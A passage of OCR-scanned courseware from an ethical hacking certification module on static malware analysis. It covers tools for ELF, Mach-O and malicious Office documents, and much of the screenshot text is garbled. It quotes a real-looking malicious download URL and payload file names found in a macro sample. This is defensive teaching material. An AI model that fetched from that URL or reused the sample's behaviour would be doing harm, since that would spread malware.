Ii::] 9 (Ox0009) 5(0x0005) AddAtomA Ox00020190
~ 1n , n. .nnn," c , n..nnnc , 11 .1.111"--•lll n..nnn1 -.ncn

Module " File Time Stamo I Link Time Stamo I File Size I Attr. I Link Che:cksum I Real Che:cksum I
□ ADVAPIJ2.DLL 01/27/ 2022 2:12, _I 06/30/2087 2:22, I 500.~ I A I Ox0008708 E I Ox0008 708 E
11
8□ AEPIC.DLL 12/07/2021 2:50p 12/28/2066 2:07, 489,088 A Ox0007 E80C Ox0007E80C
8® API-MS-WIN-APPMODEL-ADVERTISINGID-L1- 1-0.DLL Error opening file. The system cannot find the file specifie:d (2).
8® API-MS-WIN-APPMODEL-IDENTITY-L1-1-0.DLL Error opening file. The system cannot find the file specified (2).
8® API-M5-WIN-APPMODEL-RUNT1ME-INTERNAL-L 1-1-2.0LL Error opening file. The system cannot find the file specifie:d (2),
8(1) API-M5-WIN-APPMODEL-RUNT1ME- INTERNAL-l 1-1-7.0LL Error opening file. Th, system cannot find the file specified (2).
8® API-M5-WIN-APPMODEL-RUNTIME-l1-1-0.0LL Error opening file. Th, system cannot find the file specified (2).
8(1) API-MS-WIN-APPMODEL-RUNTIME-L1-1-1.0LL Error opening file. Th, system cannot find th, file spt:eifi,d (2).
8(1) API-MS-WIN-APPMODEL-STATE-L1-2-0.DLL Error opening file. The system cannot find th, file specifi,d (2).
8® API-MS-WIN-APPMODEL-UNLOCK-l 1-1-0.0LL Error opening file. The system cannot find th, file sp,cifi,d (2),

l~nor: At least one requi,-ed impf'Kit Of' forwa,-ded depend~ncy was not found.
Wa.-"tnn, At t..act ~ ,t,.t.,.,. Lru,,,4 ,.,.,_..,,,._ _ m.Mut. - - ......t f.,..,nA
For H,lp, prr:ss Fl

Figure 7.76: Screenshot of Dependency W alker

Module 07 Page 1107 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Some additional dependency extraction tools are as follows :


• Dependency-check (https://jeremylong.github.io)

• Snyk (https://snyk.io)
■ PE Explorer Dependency Scanner (http://www.pe-explorer.com)

■ Retire.js (https://retirejs.github.io)

Module 07 Page 1108 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Static Malware Analysis: Malware Disassembly ~ :~ ~


Disassemble the binary code and analyze the assembly I DA Pro is a Windows, Linux or Mac OS X hosted
code instructions multi-processor disassembler and debugger t hat ca n
IDA Pro debu g t hrough Instructions tracing, Fun ctions t racing,
Use tools such as IDA that ca n reverse the m achine code and Read/Write-Write-Execute tracing features
to assembly language

Based on the reconstructed assembl y co de, you can


~
,_, _______________________
ID,O,- fK ..a , L' , C o + . _ l l _ 0 7 _ _, _ , \ _ \ I O , a _ L...i,J« o.ao
r• t"'i-.--0-.,,...0,,-,._....,
A .,.,. . "!'."!'m. , • !ii• 'IHJ ,,,t r4 ,4 ..<t. iM X ► CID.._.. _ _ _ 31i ~ lll l"' r
inspect the program logic a nd recogni ze its threat
..... - ■ -- ■ - ,,... . _ -- ■ ......-
potential. This process is performed usin g debugging
t oo ls su ch as OllyDbg --......... .....
........._411_,
_
_
......_..,l)O., ,
1oc_-,...,,
,...
• ..,,l_ _, « -~w_,..,J
[Z,::;!.t<-l J•hltC-
_

.........__...,,411,,..,_
.. ... ....--..·-
..,rn,_ _,.,., ...
..._.... _..,,, ,_

- ..................___
_

......_........,
_
Disassembling and Debugging Tools _
" ~.!~';!.";..:~-=;.~S:' K h

~
... ..
..._<II_
_ ....: ,
tl Ghirda (https://ghidra-sre.org) ..._411i:llt
- .., .., __.oc..

tl x64dbg (https;//x64dbg.com) . , ,___ _ _ Cf ~1 =


_,, :::,lo,pfo:o
ffi~.::••••>P
tl Rada re (https;//rado.re) .IT ,,,, ~~;;!"·"''· ...
ti . ....... '"·"- ··_..,,., ..... "--·· ... -,._.,
tl OllyDbg (https://www.ollydbg.de)

tl W inDbg (http://www.windbg.org)
https://www.hex-roys.com
Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Malware Disassembly
The static analysis also includes the dismantling of a given executable into binary format to
study its functionalities and features. This process helps to identify the language used for
programming the malware, APls that reveal its function, etc. Based on the reconstructed
assembly code, you can inspect the program logic and recognize its threat potential. This
process can be performed using debugging tools such as IDA Pro, and OllyDbg.
• IDA Pro

Source: https://www.hex-rays.com
IDA Pro is a multi-platform disassembler and debugger that explores binary programs,
for which the source code is not always available to create maps of their execution. It
shows the instructions in the same way as a processor executes them, i.e., in a symbolic
representation called assembly language. Thus, it is easy for you to find harmful or
malicious processes.
Features:

o Disassembler
As a disassembler, IDA Pro explores binary programs, for which the source code is
not always available, to create maps of their execution .
o Debugger
The debugger in IDA Pro is an interact ive tool th at complements the disse mbler to
perform static analysis in one step. It bypasses the obfuscation process, which helps
the assembler to process the hostile code in detail.

Module 07 Page 1109 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

IOA · face.~e E:\ CEH-Tools\ CEHv12 Module 07 Malware Thre:ats\Viruses\ Klez Virus live!\f ace.~e - X
File Edit Jump Search Vi,w Debugger Options Windows Help "
tl i:H ;! il +- • .. ·I '1~t. l.r. ~ !Kl • il lil ~ lil d aih t ..t • ,t !!<!ii X! ► m D l,oc.,1 Wndows _ _ , .3 ~ '~ lil m r f' 7•
r- ► Lbrary l\.nction ■ R09-W l\.nction ■ Instruction
It@
Data ■ lk1'!xplor,d

D I IQJ
Ex,...nal symbol ■

I [Al
,...,..,. l\.nction
I mJ IM I tm DI

[ZJ Fu>ctions □ I,
xi IDA View-A ~x1kw- l D Structaes D cuns D In-oo<ts D Expo,ts

Function name ~
~
loc_ 408543:
sub_101000 ; Attributes: bp-based frame ,nov esp, [ ebp+es _exc .old_esp]
Sl..0_101198 push [ ebp+uExitCode J ; uExi tCode
sub_101284 public s tart call sub 40A24A
sub_1013A9 start proc near
sub_'1013FA
StartAdctMS uExi tCode• dword ptr -68h
sub_'\01743 var_ 64• dword ptr -64h
Sl..0_10174= var_60• dword ptr - 60h
sub_101808 Startupinfo• _STARTUPINFOA ptr - 5Ch
!~ sub_101841 u _exc• CPPEH_RECORD ptr -18h

~ ::::::::
sub_101E02
sub_102lOC
push
mov
pu sh
ebp
ebp, esp
0FFFFFFFFh

~
j - 102319 push o ffset stru 400240
push offset sub_ 40AC04
mov eax, large f s: 0
push ••x
mov large fs: 0 1 esp
,i. Gn1ph overviow □ I,
xi sub esp, 58h
push ebx

l
L. .........l push
push
esi
edi

I 100.00 \ J C4, 19 ) J ( 9E, 2 )


fflOV
call
··- -
ioooo84S8 loooooooooo4oa4se:
(ebp+ms_exc . old_esp], esp
ds :Ge tVe rsion
_J. . - J.•
start I (Sync:hroni:•d with Rex View- 1 )

Ii] Output
□ I, xi
I " " -.
Propagating type information . . . -· -· - .:.I
Function argument information has been propagate d
The initial autoanalysis has been finished . :::J
~I
AU: idle 'Down Di~k : 34GB
-

Figure 7.77: Screenshot of IDA Pro

Some additional debugging tools are as follows:

• Ghirda (https://ghidra-sre.org)
■ x64dbg (https://x64dbg.com )

■ Radare (https://rada.re)
• OllyDbg (h ttps://www.ollydbg.de)
• WinDbg (http://www.windbg.org)

Module 07 Page 1110 Ethical Hacking and Count ermeasures Copyright © by EC-Council
All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Analyzing ELF Executable Files


Static Analysis of ELF Files Using readelf
e Identify symbols i n ELF executables:
readelf -s <malware-sample>

e Identify program headers in ELF executables:


readelf -1 <malware-sample>

e Identify ELF file headers:


readelf -h <malware-sample>

Extracting Strings from ELF Executable Files


e Use Linux command strings to extract strings:
strings malware-sample > str.txt

Analyzing String Reuse Using Intezer


e lntezer is a malware analysis platform that sca ns
files, URLs, endpoints, and memory dumps

Copyright () by (C-C1mcil All Rights Reserved Reproduction Is Stnctly Prohibited

Analyzing ELF Executable Files


ELF is a generic executable file format in Linux. It contains three main components including an
ELF header, sections, and segments. Each component plays an independent role in the loading
and execution of ELF executables.
The static analysis of an ELF file involves investigating an ELF executable file without running or
installing it. It also involves accessing the binary code and extracting valuable artifacts from the
program.
The result of the analysis determines whether the file is malicious. If the ELF file is malicious,
the extracted information is insufficient to identify the behavior and purpose of the malware; it
requires further analysis (dynamic analysis) in a secured or closed environment.
• Static Analysis of ELF Files Using readelf
Source: https://linux. die.net
The readelf tool displays information about one or more ELF object files. The options
control what information to display. The tool supports 32-bit and 64-bit ELF files.
Security professionals can use readelf to extract static artifacts from an ELF executable.
Identifying Symbols in ELF Executables
Extracting symbols is a process of retrieving data types such as functions and variables
used in the source code. These symbols explain what functions and variables are used
by the developers in the code, which helps in understanding the functionality of the
code.

Module 07 Page 1111 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Run the following command to extract symbols from an ELF executable:


readelf -s <malware-sample>
Here, the -s option is used to display the entries in the symbol table section of the file.
Alternatively, use the --symbols or --syms options to extract symbols.

s rrad.-lf
'
.f If Tr<"ot f \ \ (".

~y~bol tab\.- · . dyn,y"' · cont.nn.-. s r-nt n.f-.-.:


Nun: value .__,tzc lypc B\nd 'J\ s ',dx !'jJl'CC
0: 0000000000000000 0 ,OTYP[ LOC.:.L O[Ft.ULT u~o
1 : ooooeooooooooooo 0 f UNC c.L OAM DE f AUi T UNO puts~Gl IBC_l. ·'. ', (.')
,. 0000000060000000 0 FUNC GLOBAL OEFl,UL i UNO llbt S tdr t ndlnjjGLIBC 2. 2. S (2)
J: 0000000000000000 0 ';QTYP£ wr.:.K D! r :.u1 T UNO __ gnon_ -; t .ir t --
-1: ooooeoooeooooooo 0 fUNC GLOB,\L our.uL r UNO s lccpli!GllB( 2. 2. ':> U)

<,y~bo\ tab lc · .sy~tab' cont.:,tn ..) oo en:rtC'~.:


Nun: VdlUt:" S l ,., Type Blnd v\, ';dx Ndr",e
O: 0000000000000000 0 ..OTYP£ 1 oc .:.1 Off ,;u1 T UNO
l: ooooeooooe-1ooz3s 0 SECTION LOC,\l DEFl,UL T I
?: 0000000000400?54 0 ',£CTI Oh 1 oc.:.1 or r t.u1 T
3: oooeeoooee-100:1-1 0 ',EC TJON LOC,\L Olf f,UL T
4: 0000600006400298 0 SECTION LOC.:.L OEFl.ULT 4
,. ooooeooooe-100,bs 0 ',f ( TION I OC Al Off AUi T
o: ooooeooooe-100330 0 SECTION LOC,\L DEFl,Ul T 6
7: 0000000000400174 0 ',£CT ION I DC .:.1 or r 1.u1 r 7
8: ooooeoooee-1001so 0 ',tCTION LOC,\l Otff,UL T 8
9: 00000000004003d0 0 SECTION LOC.:.L 0£Ft.ULT 9
10: 0000600000400lb8 0 '.,f ( TION 10(,\l Off t.Ul T 10
11: 0000000000-100410 0 SECTION LOC.:.L DEFAULT 11
1"l• 0000600000400440 0 ',f CT JON I OC .:.1 or f t..Ul I 1?
13: oeoooooooe-100490 0 '>tCTION LOC,\L Otfr.ULT 13
14: 0000000000400674 0 SfCTION l DC .:it or r 1.u1 T 14
1 S: 00000000664000!0 0 ',f ( TION l 0( ,\L Olf f,UL T 1S
16: ooooeoooee-1006so 0 SECTION LOC-"l DE Ft.ULT 16
1 I: 00000000004006bH 0 ',f ( TJON l QC .\l O! f t..lJI T 1I
18: oooeeooo60000.,10 0 Sr.CT ION LOC,\L OEFl,UL T 18
19: 0000000000600PlA 0 ',fCTION I OC .:.1 nr r 1.u1 r l'l
20: oooeeoooeeoooc20 0 St( TION LOC,\l Otff,UL T 20
21: ooooeooooo6ooe28 0 SECTION LOC.:.L OEFt.Uli 21
ll: ooooeoooooooottH 0 \ l C ! I Ot't I DC ,\l Offt.Ul I n
2 3: ooooeooo60601oeo 0 SEC TJON LOC,\L OEFf,Ul T 23
?4: 0000000000o010l8 0 ',!CT JON I DC .:.1 Of! t.Ul T 74
2~: ooooeoeooeoo1oic 0 ',r_(TION LOC,\L Dtff,UL T 2,

Figure 7.78: Viewing symbols using th e readelf tool

The above screenshot shows two different tables, . dynsym and . symtab.
o . dyntab: This t able contains dynamically linked symbols that are taken from
external sources such as libc libraries, which are stored by the OS at runtime.
o . symtab table: This table contains all the symbols defined by the developers in
the binary source code, including symbols from . dyntab.
Identifying Program Headers in ELF Executables
The program headers in an ELF executable reveals the memory layout of the binary
code. It helps in determining whether the ELF executable file is properly packed. For this
purpose, the readelf tool can be used with the -1 option followed by the file name of
the EFL executable.

Module 07 Page 1112 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Run the following command to retrieve ELF program headers:


readelf -1 <malware-sample>

Figure 7. 79: : Viewing program headers using the readelf tool

As shown in the screenshot, the ELF executable contains a few program headers, which
include two PT_LOAD segments with RE and RW flags. Here, RE denotes "read and
execute," while RW denotes "read and write."
If the ELF executable is properly packed, then the program headers are hidden as shown
in the screenshot.

Figure 7 .80: Viewing program headers of a packed file using the read elf t ool

Module 07 Page 1113 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

Identifying ELF File Headers


The ELF executable file header contains general information such as binaries' entry
points, program headers, table locations, etc. These data help in determining the file
architecture and the machine for which the file is designed to run.
Execute one of the following commands to retrieve the information contained in the ELF
header at the start of the file:
readelf -h <malware-sample>
readelf --file-header <malware-sample>

S cd Oownlodds
S ls
'ELF Test Flle'
$ r.-ad.-lf ·h 'flf T.-st fit.-·
lLF Header:
Hdglc: 7f 45 4c 46 02 e1 01 oo oe Jd db 9d 89 6d dJ 4d
CL.1ss: l l I o4
Odtd: 2·~ tonplenenl, llttle endldn
v.-rsi.on: 1 (curr.-nt)
0S/"81: UNIX Systeri V
;.sr Versi.on: 0
Type: lXlC (lxecutable fi.le)
-~dchlne: ~dvdnted Mltro Devlte~ X86·64
versi.on: Ox!
Entry polnt dddress: Ox•1e6·190
Start ot progra~ headers: 64 (bytes into fi.l.-)
Start of sectlon headers: 0088 (bytes lnto flle)
Fldg~: OxO
Si.1e ot this header: o4 (bytes)
Si.le of progrdri hedder~: 56 (byte~)
Nunber of progran h.-ad.-rs: 9
Slze of sectlon headers: o4 (bytes)
~unber of secti.on headers: 30
secti.on header stri.ng table i.ndex: ZI
sI

Figure 7.81 Viewing fil e headers using t he readelf t ool

■ Extracting Strings from ELF Executable Files


String extraction involves collecting vital information about a suspected ELF executable
file. Strings such as symbols, section names, and functions names reveal the purpose of
t he binary code. Linux has a default comm and called strings that extracts strings and
saves those strings in a .txt file.
Run the following command to extract strings from an ELF executable file:
strings malware-sample > str.txt

Module 07 Page 1114 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Analyzing String Reuse Using lntezer


Source: https://www.intezer.com
lntezer is malware analysis platform that scans files, URLs, end points, and memory
dumps. It extracts strings from uploaded malware samples and identifies whether those
strings are used in other files. It reduces the effort of malware analysts by analyzing
unknown malware that are difficult to trace.

Figure 7.82: Screenshot of lntezer showing relevant strings

Figure 7.83: Screenshot of lntezer showing string reuse

Module 07 Page 1115 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Analyzing Mach Object (Mach-0)


Executable Files
Mach-O is an executable file format for macOS and iOS that is similar to the PE format for W indows and ELF for
Linux

J Use tools such as pagestuff, LIEF, or otool to analyze Mach-O malware

Use pagestuff to view Mach-O executable files and find information regarding the logical pages associated with
that file

Malicious Mach-0 Binaries Reverse Engineering Mach-0 Binaries

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Analyzing Mach Object (Mach-0) Executable Files


Mach object (Mach-0) is an executable file format similar to the Portable Executable (PE)
format for Windows and ELF for Linux. It is associated with binaries present in macOS and iOS.
This file format is used to distribute code and determines the mechanism through which the
memory reads both data and code present in a binary file. Mach-0 malware has a direct impact
on a program's performance because memory usage and paging activities are affected by the
order of code within a binary file. This malware allows attackers to generate two arrays, which
get overlapped in memory, and to set a memory location for executing a Mach-0 executable.
Attackers can leverage this functionality for privilege escalation and for exploiting next-stage
vulnerabilities with root access.
Malicious Mach-O Binaries

Mach-0 can be referred to as a binary stream of bytes that are combined to form meaningful
data chunks. The data include information related to the CPU type, data size, order of the
bytes, etc. Mach-0 binaries are arranged into different segments that comprise individual
sections. These individual sections store different types of code or data. Some of the segments
of a Mach-0 binary are _PAGEZERO, _TEXT, _DATA, and OBJC. Attackers can
use these segments to hide malicious code and execute it for escalating privileges.
Security analysts must analyze Mach-0 malware to take proper mitigative measures and restrict
privilege escalation attempts in macOS systems. Analysts can use tools such as pagestuff, LIEF,
or otool to analyze Mach-0 malware and take the necessary actions for the prevention of
privilege escalation .

Module 07 Page 1116 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is St rictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ LIEF

Source: https://lief-project.github.io
LIEF is an acronym for Library to Instrument Executable Formats. It is a cross-platform
tool developed by Quarkslab for parsing and manipulating different executable formats
including Mach-0 binary formats. In addition, it can be used in different programming
languages such as C, C++, and Python and can abstract the common features of
executable formats.
Run the following commands to obtain information on a Mach-0 executable:
import lief
binary= lief . parse("/usr/bin/1s")
print(binary)
■ otool

Source: https://github.com
Security analysts can use otool to analyze or examine a binary and obtain information
about an iOS application. They can check the binary links with a shared library using the
following command :
otool -L UnPackNw > ~/Malware/libs.txt

sentinels-Mac:MacOS sentinel$ otool - L UnPackNw > -/Malware/libs . txt


sentinels-Mac·MacOS sentinel$ vi -/Malware/libs.txt

Figure 7.84: Screenshot of otool

Execute the following command to dump the method names from the Obj section of a
Mach-0 binary:
otool -oV UnPackNw > ~/Malware/methods.txt
Run the following command to acquire the disassembly:
otool -tv UnPackNw > ~/Malware/disassembly.txt
After executing the above command, the obfuscated file name can be found .

Module 07 Page 1117 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

46 00000001000015ff movq 0x96ea(%rip). %rsi ## Objc selector ref: mainBundle


47 0000000100001606 movq %rax. %rdi
48 0000000100001609 call q '0x7a99(%rip) ## ObJC message: +I NSBundle mainBundlel
49 000000010000160f leaq 0x7daa(%rip). %rs i ## ObJC cfstring ref: @"unpack"
10 0000000100001616 leaq 0x7dc3(%rip). %rdi ## ObJC cfstring ref: @" txt"
<, I 000000010000161d movq 0x96d4(%rip}. %rcx ## ObJc selector ref: pathForResource : ofType
)2 0000000100001624 movq %rd 1. -0x30(%rbp)
IJ 0000000100001628 movq %rax. %rdi
54 000000010000162b movq %rs,. -0x38(%rbp)
Sr) 000000010000162f movq %re x. %rsi
56 0000000100001632 movq -0x38(%rbp). %rdx
', 7 0000000100801636 movq -0x30(%rbp). %re x
58 000000010000163a callq ' 0x7a68(%rip) ## ObJC message. - [%rdi pathForResource:ofType:]
59 0000000100001640 movl S0x4 . %r8d
60 0000000100001646 movl %r8d. %ecx
61 0000000100001649 xorl %r8d. %r8d
62 000000010000164c movq %rax. -0x20(%rbp)
63 0000000100901650 movq 0x9a51(%rip). %rax ## ObJC class ref: - OBJC - CLASS _S_NSSt r ,ng
64 0000000100001657 movq -0x20(%rbp). %rdx
61 000000010000165b movq 0x969e(%rip). %rs i ## ObJC selector ref: str1ngW1thContentsOfFi
le:encod1ng . error:
66 0000000100001662 movq %rax. %rd1
bI 0000000100001665 ca I l q ' 0x7a3d(%r1p} ## ObJC message +[NSString str1ngW1th(ontentsOfF
ile.encod1ng . error :
68 000000010000166b movq %rax. - 0x28(%rbp)
69 000000010000166f movq 0x9a3a(%rip). %r ax ## ObJC class ref EncodeDecodeOps
70 0000000100001676 movq -0x28(%rbp). %rdx
71 000000010000167a movq 0x9687(%rip). %rsi ## ObJC selector ref: enncryptDecryptStr,ng:
7! 0000000100001681 movq %rax. %rdi
/3 0000000100001684 callq '8x7ale(%rip) ## ObJC message +[EncodeDecodeOps enncryptDecryp
tString: l

Figure 7.85: Screenshot of otool showing an obfuscated text file and its content s

The output of the above command can be examined line by line to analyze actual file contents
and encryption methods used.
Reverse Engineering Mach-O Binaries

As Mach-0 binaries include different segments and their corresponding sections, security
analysts must evaluate the internal structure of a binary for the identification of malicious code.
Furthermore, all the methods and executable files present within the segments can be
examined through the reverse engineering process to mitigate potential threats. Mach-0 binary
fil es can be analyzed using tools such as pagestuff.
■ pagestuff

Source: https://github.com
The pagestuff utility can be used to view Mach-0 execut able files and f ind information
regarding the logical pages associated with those files. This tool has limited input
parameters. Symbols such as static data structure names and functions can be viewed
for individual pages of code. If no coding pages are specified, then the tool displays the
symbols for all the pages within the _TEXT, text section. It helps identify
malicious code and Objective-C methods such as deleteAppBySelf.

Module 07 Page 1118 Ethical Hacking and Counte rmeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Run the following command to view the internal structure of binaries:


pagestuff UnpackNw -a
Execute the following command to view segment and section names:
run -m UnpackNw

1 File Page 0 contains Mach-O headers


2 File Page 1 contains contents of section _TEXT. text)
3 Symbols on file page 1 virtual address 0xl90901579 to 0xl90992008
4 I 0x00000a010a001s70 _main
5 0x0008090108001Sa0 - [AppDelegate applicationDidFinishLaunching ·
6 0x00080901090016e0 - [AppDelegate deleteAppBy5elf)
7 0x0008090100001790 - [AppDelegate deletPreviosApp]
8 8x0008080109001870 - [AppDelega te creatFileOnTemp·scrpName
9 9x000809010000laa0 - [AppDelegate makeExecutableFileAtPath :
18 0x000809010800ld70 - [App De legate executeAppleScr i pt: i sKi 11. I
11 0x000808010800leb0 _41 · [AppDelegate executeAppleScript : isKi 11: J_block_invoke
12 File Page 2 contains contents of section ( TEXT. text)
13 Symbols on file page 2 virtual address 0xl90802000 to 0xl90903808
14 8x0008080109002030 _ 41 - [AppDelegate executeAppleScript : isKi 11: )_block_invoke
15 0x0000090109002070 _c opy _helper _block _
16 9x00000801090020a0 _ destroy _helper _block _
17 0x00080901090020d0 _ copy_helper _block _. 119
18 9x0008080109002130 _ destroy _helper _block _. 120
19 0x0000090100002170 - [AppDelegate ReadPrefrance I
28 0x00080901000023b0 - [AppDelegate ReadPrefranceJ
21 0x0000090109002610 - [AppDelegate checkOurOfferlnstlled]
22 0x0000090109002840 - [AppDelegate osVersion]
23 9x00000901090028c0 - [AppDelegate getPathFromAdobPlist ·]
24 0x0000090109002b60 - [AppDelegate fireTra c kOfferslnstalledForPXL I
25 0x0000090100002 ca0 - [AppDelegate fireTra c kOffersAcceptedForPXL I
26 0x0000090109002de0 - [AppDelegate si lentyTracklnMain I
27 0x0000000100002e30 - [AppDelegate si le ntlyFireUrl I
28 File Page 3 contains contents of section TEXT. text)

Figure 7.86: Screenshot of pagestuff showing segment s and sections

Module 07 Page 1119 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Static Malware Analysis: Analyzing Malicious MS Office


Documents
Finding Suspicious Components

Analyze the malicious Office document wit h oleid to detect any specific components that can be labeled as malicious/suspicious

To use oleid, open a new terminal on the linux (Ubuntu) workstation and enter oleid ' <path to the suspect
document>'

Finding Macro Streams

Parse the malicious Office document with oledump to identify the streams that contain macros

Run the followingcommand :python oledump .py '<path to the suspect document>'

Dumping Macro Streams

Extract the contents of any macro stream with oledump by running the following command

python oledump . py -s <stream number> '<path to the suspect document>'

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Static Malware Analysis: Analyzing Malicious MS Office


Documents (Cont'd)
""' - - ,treamldump.ht (Riud-Only] l·n. gedlt
Identifying SuspiciousVBA Keywords
eeee&ee: 111 16 111 ae 114 za 111 ee
eeeeee1e: ee ,,. 112 ee ee Ell ec eo ee n ec ee H 10 11 ea
aeeaoe2e: ee et ee oe ee et ea ee ee DE AF ,e n ea oe FF
Parse the malicious document with olevba to view 8H88eJ8: ff Al 81 H H 88 H 88 H 86 &e FF ff
Ill 81 ZI :: ::::::::::~::(
H98etM8: H 88 H 08 H 28 OZ 14 H 88 H ff ff
&e 88 H
the source code of all VBA macros and detect 8H8HS8: &e H 88
aeoeoooe: 61 a, 54
H
6F
H H
, a 69
88 ss
oc as
S2
,1
4C 44 6F 77
6E 6C 6f
eo ee FF ff
FF ff et
••••••• UALOown o
dToft.l~A
suspicious keywords and potential IOCs eeeeee1e: ee ee ee FF ff Jc eo Ff FF eo ee E6 J9 06 11 A6 .•••• < •••••• , •••
eeeeoese: oe ec ,e A2 Sf 66 Ae c9 9F JD ce SE 4E n o, 2A .. f._r ... • .. N•• •
eeeeoe,e: JC 9A 48 " 1c S6 Fc 4f H 26 u ee &e eo &e eo <.K.<V.O.& ••••••
eee611eAe: ee 66 eo ee eo 66 ee eo ee eo eo et eo e6 ee FD
11011606B6: Fa ca 1£ CA 21 DA 4C 96 Ill 20 2f 1l 87 84 eo 16 . ..• 1.l .. •/ .. . .
Run the following com mand : olevba ' <path to aee6eece: 06 eo ee 83 &e 06 oa os ee ee ee e1 &e oa ee FF
oeeeoeoe: Ff ff ff ff ff ff ff et Ill 61 ff H 69 FF Ff ff
the suspect document> ' 600608£8: ff 78 86 6e ee 01 FD Fl Cl 1E CA 21 DA 4( 96 01 .:it •••••• , •• I . l .•
eooeoeFe: 2D 2f ll 17 84 00 £6 ]9 06 11 A6 De 6C 411 A2 SF ·I ..... , .....•. _
eoee61eo: M Ae C9 9f 10 C6 FF FF 66 oo ee 6e ,o 45 ee eo f .••••••.•.• Kf,.

Here, the keywords and IOCs detected by olevba


show that the macros in t he Word document:

8 have AutoOpen functionality

8 contain shellcode and strings obfuscated with Base64


and dridex

8 might download fi les named test.exe and


sfjozjero.exe from http://germanya.eom.ec/logs and
store them in the Temp directory

Copynght O by (C~IIICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Analyzing Malicious MS Office Documents


The use of MS Office documents such as Word documents and PowerPoint presentations is
widespread across organizations. Attackers often use these documents to insta ll and spread
malware. While analyzing malware, it is important to understand the structure of a variety of
MS Office documents, and one should be able to analyze a malicious document with the
appropriate tools to locate suspicious/malicious elements.

Module 07 Page 1120 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Finding Suspicious Components


Analyze the malicious Office document with a Python-based tool named oleid to review
all components that can be labeled as suspicious/malicious. The oleid tool is used to
examine OLE files.
To use oleid, run the command oleid '<path to the suspect document>'
on the Linux workstation. The screenshot shows that a malicious Word document
named infected doc contains VBA macros.

Figure 7.87: Using the oleid tool t o search for suspicious components

■ Finding Macro Streams


The next step is to parse the malicious Office document with oledump to identify the
streams that contain macros. Run the command python oledump .py '<path to
the suspect document>'.
The above command prompts the tool to show the structure of the malicious document,
including all the streams. If any stream within the document contains macros, oledump
places an uppercase M beside it for identification. In this Word document, as shown in
the screenshot, stream 8 has been identified to store malicious macro codes.

root @>jason-Vl rtu•l-Muhlne: /homc-/J1son/OldlerStevcnsSult4? fl m ◄1)) l 08 AM '

i
root~jd!.On Vlrtu.:,l Machtnl":/hor"ll"/jason/Oldi..t'.'r5tl"ven<,,Sulte-a python) olt'.'du~p.py /honC"/jason/InfcctC"d docx
1: 12"l '\xOl(OMpObj.
l: 4090 · \)(O':,Oocut"'lentSul",l"IJrYlnforl"'ldl \on·
3: 4096 '\x6SSUll'H'"IMylnforl'l,'tt\On'

ii 4:
S:
6:
/:
28579
4S7S8/
'lTdble'
'Odtd'
H,/ 'Mdcros/PROJHT'
41 'M,3cros/PROJHT-..r,'

~ 8:
9:
10;
2171 ' Mduos/VB,\/ VBt, PROJ[(T'
2196 'Mdcros/VBA/ SRP a·

I 11:
ll:
13:
14:
ZOO 'MiJUO'.J/VBA/ _ SRP _ l'
1780 'Macroo;/VBA/_ . .SRP _2'
J'::,6 'MdCfO'.,;/VBA/
SH 'Macros/vB,\/dlr· -
SRP 3'

Iii:' l'S: 14916 ·wordDocul"lent ·


~ r ooq~jd'iOn Vl r tua l -Mdc ht ne-: /hoMe / jd'>on/Dld ler Ste11e-n<:, Sul te-# I

Figure 7.88: Using the oledump tool to search for suspicious macro streams

Module 07 Page 1121 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

■ Dumping Macro Streams


Now, extract the contents of any particular macro stream with oledump by running the
following command: python oledump .py -s <stream number> <path to
the suspect document>.
Here, the argument -s defines the stream number to view. The screenshot shows the
macro code stored in stream 8 of the Word document.

I"\ - - stream8dump.txt [Read-Only)(-/) - gedlt

Open • r
♦l

